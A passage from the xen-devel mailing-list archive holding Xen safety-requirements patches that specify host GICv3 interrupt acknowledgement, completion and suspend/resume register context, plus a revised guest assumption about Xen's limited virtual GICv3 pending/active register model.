+`XenSSR~arm64_gicv3_cpu_iface_group1_ack~1`
+
+Description:
+Xen shall acknowledge host Group 1 physical interrupts through the GICv3 CPU
+interface. This shall include reading: ``ICC_IAR1_EL1``.
+
+Rationale:
+``ICC_IAR1_EL1`` is the GICv3 CPU interface register used to acknowledge a
+Group 1 physical interrupt and obtain the INTID selected by the CPU interface.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Xen-owned physical interrupt completion
+--------------------------------------------
+
+`XenSSR~arm64_gicv3_cpu_iface_host_int_completion~1`
+
+Description:
+Xen shall complete a Xen-owned physical interrupt through the GICv3 CPU
+interface when separate priority-drop and deactivate mode is used. This shall
+include use of:
+
+ - `ICC_EOIR1_EL1`
+ - `ICC_DIR_EL1`
+
+Rationale:
+In separate priority-drop and deactivate mode, `ICC_EOIR1_EL1` drops the
+priority of the interrupt and `ICC_DIR_EL1` deactivates the interrupt. Xen
+uses both operations so that a Xen-owned physical interrupt is no longer active
+after its handler has completed.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host SGI delivery
+-----------------
+
+`XenSSR~arm64_gicv3_cpu_iface_sgi_delivery~1`
+
+Description:
+Xen shall send a host SGI through ``ICC_SGI1R_EL1`` to the CPU targets selected
+by the requested SGI mode and CPU mask.
+
+Rationale:
+``ICC_SGI1R_EL1`` encodes the SGI INTID and the target CPUs selected by Xen.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host secondary CPU physical interrupt readiness
+-----------------------------------------------
+
+`XenSSR~arm64_gicv3_secondary_cpu_phys_int_readiness~1`
+
+Description:
+Xen shall complete per-CPU host GICv3 physical interrupt initialization before
+accepting physical interrupts on a secondary CPU.
+
+Rationale:
+The common interrupt-management requirements cover CPU hotplug notification and
+per-CPU IRQ software state. The host GICv3 driver initializes the
+Redistributor-local hardware state and physical CPU interface state required for
+SGI, PPI and routed SPI delivery on the secondary CPU.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host suspend/resume
+^^^^^^^^^^^^^^^^^^^
+
+Suspend/resume GIC context
+--------------------------
+
+The Xen-owned GIC suspend/resume context covers the following register state,
+when the corresponding GIC version and optional feature is implemented and
+enabled on the platform.
+
+CPU interface registers:
+ - ``ICC_CTLR_EL1``
+ - ``ICC_PMR_EL1``
+ - ``ICC_BPR1_EL1``
+ - ``ICC_SRE_EL2``
+ - ``ICC_IGRPEN1_EL1``
+ - ``ICC_AP1R<n>_EL1`` is checked for physical Group 1 active-priority
+   quiescence before suspend and is not restored as normal suspend context.
+
+Distributor registers:
+ - ``GICD_CTLR``
+ - ``GICD_ISENABLER<n>``
+ - ``GICD_ISACTIVER<n>``
+ - ``GICD_IPRIORITYR<n>``
+ - ``GICD_IROUTER<n>``
+ - ``GICD_ICFGR<n>``
+ - ``GICD_IGROUPR<n>`` is re-initialized as part of resume ordering where
+   required by the GICv3 restore sequence.
+
+Redistributor registers:
+ - ``GICR_CTLR``
+ - ``GICR_IPRIORITYR<n>`` for SGI/PPI priority state
+ - ``GICR_ISACTIVER0``
+ - ``GICR_ISENABLER0``
+ - ``GICR_IGROUPR0``
+ - ``GICR_ICFGR1``
+
+Distributor eSPI registers:
+ - ``GICD_ISENABLERnE<n>``
+ - ``GICD_ISACTIVERnE<n>``
+ - ``GICD_IPRIORITYRnE<n>``
+ - ``GICD_IROUTERnE<n>``
+ - ``GICD_ICFGRnE<n>``
+ - ``GICD_IGROUPRnE<n>`` is re-initialized as part of the eSPI resume ordering
+   where required by the GICv3 restore sequence.
+
+The GIC suspend/resume context is limited to state owned by Xen. Guest-owned
+virtual GIC state that is saved and restored on vCPU context switch is not part
+of the host-wide GIC suspend context.
+
+Save GIC state before on suspend
+--------------------------------
+
+`XenSSR~arm64_suspend_resume_gic_save_before_firmware~1`
+
+Description:
+Xen shall save the Xen-owned GIC context before invoking firmware
+``SYSTEM_SUSPEND``, it is required to restore host interrupt management
+after firmware wakeup.
+
+The saved context is described in `Suspend/resume GIC context`_.
+
+Rationale:
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~suspend~1`
+
+Needs:
+ - XenVerTestCase
+
+Restore GIC state before unmasking local IRQ delivery
+-----------------------------------------------------
+
+`XenSSR~arm64_suspend_resume_gic_restore_before_irq_unmask~1`
+
+Description:
+Xen shall restore the Xen-owned GIC context after firmware resume or
+host-suspend abort, it is required for host interrupt management before
+local IRQ delivery is unmasked on the CPU executing the host resume or
+abort path.
+
+The restored context is described in `Suspend/resume GIC context`_.
+
+Rationale:
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~resume~1`
+
+Needs:
+ - XenVerTestCase
+
+Quiescent GIC state before suspend point
+----------------------------------------
+
+`XenSSR~arm64_suspend_resume_gic_quiescent_state~1`
+
+Description:
+Xen shall enter a GIC suspend point only after visible active-priority and
+active interrupt state has reached a quiescent state suitable for saving the
+GIC context.
+
+Rationale:
+Saving interrupt-controller state while active state remains visible can make
+the saved GIC context inconsistent with the physical interrupt lifecycle and
+break interrupt restoration after resume.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~suspend~1`
+
+Needs:
+ - XenVerTestCase
+
+| [1] Arm Generic Interrupt Controller Architecture Specification (GIC architecture version 3 and version 4)
diff --git a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
index 8ba4601..71d8981 100644
--- a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
@@ -6,6 +6,7 @@ Arm64
 .. toctree::
    :maxdepth: 1
 
+   gicv3
    p2m
    pci_host_rcar
    scif
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364687.1615702 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjr-0005Zo-TT; Fri, 17 Jul 2026 07:12:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364687.1615702; Fri, 17 Jul 2026 07:12:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjr-0005Zh-Px; Fri, 17 Jul 2026 07:12:03 +0000
Received: by outflank-mailman (input) for mailman id 1364687;
 Fri, 17 Jul 2026 07:12:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcjr-0005ZD-3s
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:12:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjq-00H0XY-F2
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:12:02 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5bd-e002-0a2a0a5209dd-0a2a450adb1a-28
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:02 +0200
Received: from [52.101.70.78]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c1-f2d2-0a2a450a0019-3465464e3484-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:02 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:12:00 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:12:00 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=RAPvapBvKI/vJeqAF8+wLuMaGeMkUX9WztCw5aUp4I4qNkn9p3zlHnA2EnNTzkqCz3sYCwvV6KiC6+wwaRr+k0X7SJ2dPLeNky2CZD859H6zQgKvPjTTO2RsB9q6c50Zx9OkfvrZAiK3raIo09//ayyIj4Lpdw2nIISbL85NLlWZucIqyvzqf6GxohJZmNb2uR7Ib4bwy0y56M8mCwgruklWl99nqV9P2IXzcPXoZe5QPDqZ6ELT3w3keOnDy0PEH/2sRDvAp0sQyhApeJW775ZkkuQ/ARMN8jUY3Xrktuk5o37vF/OI4NTLqka8pPQbR+fg8RYQ0JhxKjJnhWDTug==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=7eIyVAq2TjvKOCUTXCBrr0CN8dsLL7rvIdBMxGGR0TQ=;
 b=MS40/3/8pfVf8GZ5J3ymAm7Yj1AVx/jNi2y6P2SLchVB0kcz/z8UobXpxOJqHEL6B4x7jSYHxfUTbJnXkOeoc1sOr9P2BYYDbvuws11QVAVOF5b20lxDIwCf27xRd2WA2R6mQPV3R1btgFO4+KDSOKg+dRcmWaGi7IK2qKhiAul9NQCJFgU2yDJqHJKlxngDJeV9ptHzNMCXcNAS2yo8DHOFz3l4k93c00zXf9pKeqkNo5VXbmz2YSD5V2YsXrxMaQFTobCuEw/sYBRW0Y+o4kaYl7mIT4m4Ti7i5Asv5Z0C/Tj1pPzobgLKz7f96GxN+scySPXv52r9IHoHEL990g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=7eIyVAq2TjvKOCUTXCBrr0CN8dsLL7rvIdBMxGGR0TQ=;
 b=I90weMGKpg+9zA5Lq5VTwOGvw0DcX8gjUJ0jXSykhCtc5wvH3n+KaLZFTQ5NY+KSzCXz3F6uyPbM6uZdEx2baznEB0TSx5Z574hbF6O08AEvyCyVWzQQ4LbKmW6BEr9TIsvZCH9Q5sHA4smRhOVJ39MMZ7OC/m4Hm4dWEotx9OPyTvfGx9/HBgClfHkbHov+T+STHjGKZsNUV/gI2CsbVbyZTT4l4Qw3Efqzm4VDjX0NE7jI00yVJBo/oEZ+eLw3n3IXn7dmQxD4HZGFwqHWlJS1FzhGAmYsUyIpX+DzS4TpUc39ViOYe72kREV87lLp/0Bn0FypP+4a6tBNyzZ74g==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 1/6] reqs: clarify guest GICv3 virtual register model
Date: Fri, 17 Jul 2026 10:11:22 +0300
Message-ID: <a91c8b7dfc16dd21f1d26a7779a34cea0d594e49.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
References: <cover.1784272211.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
X-MS-Office365-Filtering-Correlation-Id: 8b7515d2-d55d-44e5-f3af-08dee3d2b241
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|22082099003|3023799007|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	u1v/VZp6qSNzK1R/S0FC+3SiHzkNrRJvh7Dhnjc/HZGWjQISjWS69bnlffr8ooo8ss5c1QC+Vm9N0LG7KXJrligtA8vz8yzDkPvQFX9GDImWnQHRcDxL7l3dcY8MlrJtDfuL4aDPBAMeIFjfHJQ8Myjyh61Ecc0Nj3k6TM9kHsMsIYxYPoMtiOZXb8TIcBheMwUSmxtYepJ5OeZmw6eadHRyHqDNwceYy799mTTp2qvN6+VzjFE+E/StA/6ARMIQitJVW13/OtZgMcBt5N5bBv8UoP/eGWY4tlQnpBHLJ8Y9WXUoag4LILqZ1spv+BnhQ0xKzhl5NO7CGslJzDkhhm4Q2Py2+XulCAUUlckI70eXVoNHUxuHEQGKfXolC0e2qcWBbrCMcmhedR+OYuAg94HPDfocdecnP1SYLY1iyF8k3duWM5CC528B5Etl39QW59F7NC8DP03BJPKPA2pMFanjrLkMwWKp/CTMYg8lH8Pfe1XWgSAFRMmKvp1/Jb15jatE4MJLxlwaxFvSBdDeO3hAiIwthAILwuNAFT6ycO7oi/ErjxIp3W4P2CxymtYIGPpAOjearbd87Eih1QScMNmDZIeYaoF7ma1mCgxNDPaGKTdVZ1UsYVgY1xLl+mX7b4NXovL5D8YovesgMCD65uVz/gHDO0nfJtiIiw+HD2o=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(22082099003)(3023799007)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?8nXAO71SHAC0BFLsD+5BSIo4QxdDOCJO2r93b+czLLWYZSGyxU9CScwY3nep?=
 =?us-ascii?Q?X6cIRq3xXmJQdlGquBWY3dJyLr0N5fD9DIgIk6h8vtxkTYZkTPplcig2ACQA?=
 =?us-ascii?Q?gywR9Do7Zb1YxWlJdyyHS73qccQd9gYrkbEkR8XNeIVdR1OlVJ2pQ4xjxGhb?=
 =?us-ascii?Q?TMS3QdPp/Or9Zu3nGg7O8ONar/aGcw56ZqcH89pL+mpu/xta3mqLXA9b6iet?=
 =?us-ascii?Q?NsOpXFinLJLIZJnmUnKEBSxRsT8JEqwCOeRRmxRKBvR2BqTM2JVhkqvFvwWP?=
 =?us-ascii?Q?xmCfrzy2ze7gPu6+DFV2TsK3OfN7LD5TPFXNWgX0CDTbN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lp8k/WFfAq9qoNWcB2AISimmJnIhnAyq3G9tvpH4C7kUd0mRD?=
 =?us-ascii?Q?6GHSGLGQ8OQIOUu/9LClPbLkZb0pgGs2aHNXcQq0btbkhZHDmARx/oUO92jF?=
 =?us-ascii?Q?A9YbGvLB1uVIrSU0gnj2IxDWyQ0sWXSVuR7a1IM9DW6OWQJbbk5osXC4pu4q?=
 =?us-ascii?Q?zIp2UHJjfrOCEvN6ej/3Ea+DD7jBeZxL4PRVc09u+4l+zsfNJEkbFanljAbe?=
 =?us-ascii?Q?P/kW/5OcYQ9EtKQ3nHIDrWvt0ufEwmlqQ8/ODwKaJVlSHvRmoznvuPP8zbny?=
 =?us-ascii?Q?Hczmoz1T5mvkB3yyAukLbGZ5vlF12aa0uHQs7ndp/bgv4sz30goD4cqpocpB?=
 =?us-ascii?Q?jfcSJ58br36NSBzXMbuNUCxzfzvUn4jqWOVmMfbcM9/1yKVcKQ6zN2WVe/04?=
 =?us-ascii?Q?5UU+BLIZdRuWwbwY1bItqs9lM/yu2fKugrBQgGaN63P0Rw7QVc00FFurPA0z?=
 =?us-ascii?Q?7+DUU9Sbd3eg/zokWh1jws2CzZaOVbHkItIs7h5TknB1M+vaOdnMfSoyIUAT?=
 =?us-ascii?Q?oYdrj5Zf6w=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 8b7515d2-d55d-44e5-f3af-08dee3d2b241
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:12:00.7752
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 7bOEACeAciWAE6Qx8o9UPgcSInTIVgIAEOZKI6OmqTT8UK2ezxg2YTVvqE5EQrBNmtufdtHZAvdua5Cb9W5bZg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-4011c0/1784272322-51AC4CFC-159338FB/0/0
X-purgate-type: clean
X-purgate-size: 4020

Clarify the guest GICv3 requirements by adding an Assumption of Use for Xen's
limited virtual GICv3 pending-state and active-state MMIO observation model.

Xen exposes a virtual GICv3 ABI rather than a complete emulation of the
physical GICv3 Distributor and Redistributor programmer's model. Virtual
interrupt lifecycle state is maintained through Xen virtual interrupt state and
through the virtual CPU interface acknowledge and completion path.

Do not add AoU coverage for DS, security-extension registers, legacy SGI MMIO,
WAKER or unimplemented ePPI/eSPI bits. Those cases follow architectural access
or capability rules rather than a Xen-specific guest compatibility assumption.

Keep exposed eSPI pending-state and active-state MMIO register groups in the
AoU, because Xen can expose and allow guest use of eSPIs while still providing
limited pending/active MMIO observation semantics for those INTIDs.

Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
Changes in v2:
- rephrase XenAoU~arm64_vm_compat_xen_virt_gicv3_reg_model~1 add details
  about Xen implementation.
---
 .../arm64/gicv3.rst                           | 37 +++++++++++++------
 1 file changed, 26 insertions(+), 11 deletions(-)

diff --git a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst
index 2ce30e5..e16576f 100644
--- a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst
@@ -23,22 +23,37 @@ Rationale:
 Assumption of Use on a VM
 ^^^^^^^^^^^^^^^^^^^^^^^^^
 
-Domain shall not write to GICD_ISACTIVER<n> registers
------------------------------------------------------
+Guest compatibility with limited interrupt-state MMIO observation
+-----------------------------------------------------------------
 
-`XenAoU~arm64_vm_no_write_gicd_isactiver~1`
+`XenAoU~arm64_vm_compat_xen_virt_gicv3_reg_model~1`
 
 Description:
-Domains shall not write to GICD_ISACTIVER<n> registers.
+Guest software shall not rely on the GICv3 Distributor or Redistributor
+pending-state and active-state set/clear register aliases as an
+authoritative view of virtual interrupt state.
+
+This applies to GICD_ISPENDR<n>, GICD_ICPENDR<n>,
+GICD_ISACTIVER<n>, GICD_ICACTIVER<n>, their extended-SPI equivalents
+when exposed, and GICR_ISPENDR0, GICR_ICPENDR0,
+GICR_ISACTIVER0 and GICR_ICACTIVER0.
+
+For these registers:
+
+ - reads return zero regardless of Xen's internal pending or active state;
+ - set-pending writes are supported;
+ - clear-pending and clear-active writes are ignored;
+ - set-active writes are unsupported and result in a guest data abort.
+
+Guest software shall use the virtual CPU interface acknowledge and
+completion path for interrupt lifecycle handling.
 
 Rationale:
-Xen does not support the emulation of these registers, therefore the domain
-write accesses to GICD_ISACTIVER<n> registers will result in a fault injection.
-Also the domain write accesses to GICD_ICACTIVER<n> registers will be ignored.
-The more, the reading of an active status of the interrupts via said registers
-is not supported as well and Xen always exposes all bits in them as RAZ which
-might be an incorrect state of the GIC and confuse the domain's expectations.
-The domain should not rely on these registers.
+The virtual GICv3 implementation maintains interrupt state in Xen's
+internal pending queues and hardware List Registers, but does not
+reconstruct the above MMIO register state from those sources. Its
+readback and write behavior therefore differs from the Arm GICv3
+programmer's model.
 
 Domain shall not access ICC_SGI0R_EL1 and ICC_ASGI1R_EL1 registers
 ------------------------------------------------------------------
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364693.1615747 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjy-0006kB-LG; Fri, 17 Jul 2026 07:12:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364693.1615747; Fri, 17 Jul 2026 07:12:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcjy-0006jN-HV; Fri, 17 Jul 2026 07:12:10 +0000
Received: by outflank-mailman (input) for mailman id 1364693;
 Fri, 17 Jul 2026 07:12:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcjx-0006JV-6D
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:12:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjw-008Yk2-Ij
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:12:08 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c7-5cb7-0a2a0a5109dd-0a2a450cc734-8
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:08 +0200
Received: from [52.101.70.89]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c7-f479-0a2a450c0019-34654659d56c-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:08 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:12:06 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:12:06 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=rqk4QIMBkIPpiWVVBexJ2xREhFStjddPGa75WEvkFwSKD2J6ZNCc7VxznNneQrPHtsokMiyxXmz+X6XLi+ok5ku3miETDxfF4vgB5ZxuDvthTk17L2dp+5nbWVqVpYGqMxDyWdAO6mwMXiMEEtBngJmYA6LQjh7rLXQxox1XZy/YAkO7Xr9r8GUa8fMS0Siwtmk4h/zpH8aYvjDK/b+hStwoLbLKZKcD6yoExEjm82fMBL8iM9sbn2Z+X0JlhHi9OMlx4l8Mr7uVkzr4pILtDBAHAuDglj4oiQB2aO2bXWvEd5r7+GJH/NMQaHiadQGEHl3TdztNIkZCelHlKZ403g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=kHZeubp6rodZIu6FKlqVypVjLIt2F/eJExuxnKnFRKc=;
 b=k64083KrxcN3MX0uVmWM9fptJbNWKxndtSZ1kxtUwPkHDT18nLjmlv6OoJeZZ/bV8K7tDJhfNe65c4qf3d/sZ6EPXrhNLzVdluV6G+s9NlWvCuOaCDfv0MheukcbS1ak8xx6mXr0gr0Alv+FYl6fBzHZ5uZB06s2GSXW/gNBLyqPI75SFdygaI3tkMYCzLikAdgjCivxmHucr6u1oS2ZHaMBjWFCZdVaJpvU6/+ihyZrXfpr0S+HR9NokzMIuQXq9gFNvoqODkZvOmbd5/u+bHn1rRfyqEvMlaSSWaILnkDEn0BwyYPdbbm39tggZJMSL4tsInwFDo/6wfxtvVSuIg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=kHZeubp6rodZIu6FKlqVypVjLIt2F/eJExuxnKnFRKc=;
 b=PA0SzqI2ZBGI/MLA6R7Bh8AwiRKFYl0fFDWtvcyoTdHC3uuctCwca1BQZ75NOao86exR6JWP0lC0UYua7V6QFMuZakXud0QPNTHtathmgoA0NkZyDcqZ/H5fIj5h7D5VRHXQ55u5YvEMmW9S9u1VYkMxZLDOO45IeiNvLhexBRfjG8cA8ZOdf89LCnEeUDL7Og6pA5XbVxxR4Rs7ReB1TGrtf82rymQP612SiXNqVHz3pWeKFI3ss8oYsmAInxu55H7aDqI8I3yxuB/EJoNfx3j5HN87aQo89FC2GFi2ffbtMwnK+lhtG/YbGWh13MbFp7gVkT7PMAozYrHRzh2rYg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 6/6] reqs: add GICv4 direct-delivery requirements
Date: Fri, 17 Jul 2026 10:11:27 +0300
Message-ID: <76e371b97b8376f552fbfeb51d1ef3a3dec38006.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
References: <cover.1784272211.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
